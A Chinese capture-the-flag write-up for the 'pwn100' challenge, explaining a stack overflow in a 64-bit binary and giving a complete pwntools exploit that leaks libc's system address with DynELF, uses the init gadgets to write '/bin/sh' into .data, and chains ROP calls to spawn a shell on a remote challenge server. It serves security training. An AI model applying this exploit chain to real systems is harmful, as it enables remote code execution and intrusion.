CTF-PWN-pwn100 (ROP+DynELF定位system函数)

漏洞分析

程序中只开了NX,查看程序逻辑发现:

int sub_40068E()
{
  char buf; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&buf, 200);
  return puts("bye~");
}

使用sub_40063D函数向buf中读取200个字符,显然存在栈溢出。接下来我们要思考如何利用这个漏洞。
观察到程序中调用read以及puts函数,而不存在system/bin/sh,我们可以考虑用DynELF模块泄露system的地址,然后用read函数将/bin/sh写入数据段,再通过构造ROP链劫持程序流程

用指令

readelf -S pwn100

查看段信息,将/bin/sh写入.data地址
至于如何调用read函数,在程序的init函数中有这样一段代码:

.text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

可以看到,0x40075A的一串pop指令是对程序寄存器的修改,然后0x400740以后的指令是执行r12+rbx*8地址处的函数

exp:

from pwn import *

#p=process("./pwn")
p=remote("111.198.29.45",52106)
elf=ELF("./pwn")

pop_rdi=0x400763
pop_6r=0x40075A
mov_addr=0x400740
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000

def leak(addr):
    payload='a'*0x48+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(start_addr)
    payload=payload.ljust(200,"a")
    p.send(payload)
    p.recvuntil("bye~\n")
    up=""
    content=""
    cnt=0
    while True:
	c=p.recv(numb=1,timeout=0.5)
	cnt+=1
	if up=='\n' and c=="":
	    content=content[:-1]+'\x00'
	    break
	else :
	    content+=c
	    up=c
    content=content[:4]
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
log.info("system_addr => %#x",sys_addr)
payload='a'*0x48+p64(pop_6r)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(1)
payload+=p64(mov_addr)+'\x00'*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.interactive()

你可能感兴趣的:(CTF-PWN)